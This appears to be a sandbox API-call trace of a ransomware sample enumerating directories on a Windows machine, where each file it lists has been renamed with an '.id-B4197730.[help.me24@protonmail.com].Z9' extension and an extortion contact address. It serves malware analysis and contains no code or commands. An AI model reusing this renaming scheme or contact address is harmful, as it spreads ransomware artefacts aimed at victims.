	[0160.562] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x363c0baa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x363c0baa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36441b3a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.562] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x364b9b23, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x364b9b23, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365060ad, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.563] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36328202, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36328202, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364dff21, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.563] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36328202, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36328202, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364dff21, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.563] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.563] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.564] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0160.564] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.564] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9a8
	[0160.565] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.565] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36456199, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36456199, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3645fdbb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.566] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365060ad, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365060ad, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3652c2cd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.566] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3634e4b6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3634e4b6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364b9b23, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.566] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3634e4b6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3634e4b6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x364b9b23, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.566] FindClose (in: hFindFile=0x76e9a8 | out: hFindFile=0x76e9a8) returned 1
	[0160.567] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.567] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0160.567] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.567] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eca8
	[0160.569] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.569] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36554191, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36554191, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a636b7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0160.569] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x367bbe04, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x367bbe04, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x367bbe04, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0160.569] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3634e4b6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3634e4b6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36972a89, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0160.569] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3634e4b6, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3634e4b6, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36972a89, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0160.569] FindClose (in: hFindFile=0x76eca8 | out: hFindFile=0x76eca8) returned 1
	[0160.570] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.570] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0160.570] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.570] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e668
	[0160.572] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.572] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x367dad6e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x367dad6e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36c9f9c6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARAME~1.Z9")) returned 1
	[0160.572] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36800f59, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36800f59, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36800f59, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 1
	[0160.572] FindNextFileW (in: hFindFile=0x76e668, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36800f59, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36800f59, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36800f59, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 0
	[0160.572] FindClose (in: hFindFile=0x76e668 | out: hFindFile=0x76e668) returned 1
	[0160.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.573] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36827257, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36827257, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36827257, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DHTMLH~1.Z9")) returned 1
	[0160.573] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x364dff21, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x364dff21, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3652c2cd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DISPLA~1.Z9")) returned 1
	[0160.573] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1
	[0160.573] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.573] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e968
	[0160.575] FindNextFileW (in: hFindFile=0x76e968, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.575] FindNextFileW (in: hFindFile=0x76e968, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36cc5c07, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36cc5c07, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36cebe08, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARAME~1.Z9")) returned 1
	[0160.575] FindNextFileW (in: hFindFile=0x76e968, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x369f16ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x369f16ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x369f16ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 1
	[0160.575] FindNextFileW (in: hFindFile=0x76e968, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x369f16ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x369f16ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x369f16ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 0
	[0160.575] FindClose (in: hFindFile=0x76e968 | out: hFindFile=0x76e968) returned 1
	[0160.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.576] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0160.576] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0160.576] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eae8
	[0160.578] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36554191, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36554191, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365786e7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PRINTI~1.Z9")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365786e7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365786e7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3659ea7f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROTATE~1.Z9")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365786e7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365786e7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365786e7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROTATE~2.Z9")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3659ea7f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3659ea7f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365c4b8a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROTATE~3.Z9")) returned 1
	[0160.579] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365eb0f0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365eb0f0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x365eb0f0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROTATE~4.Z9")) returned 1
	[0160.580] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365eb0f0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365eb0f0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366110ca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ROE3EE~1.Z9")) returned 1
	[0160.580] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x365eb0f0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x365eb0f0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36637446, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RO4A81~1.Z9")) returned 1
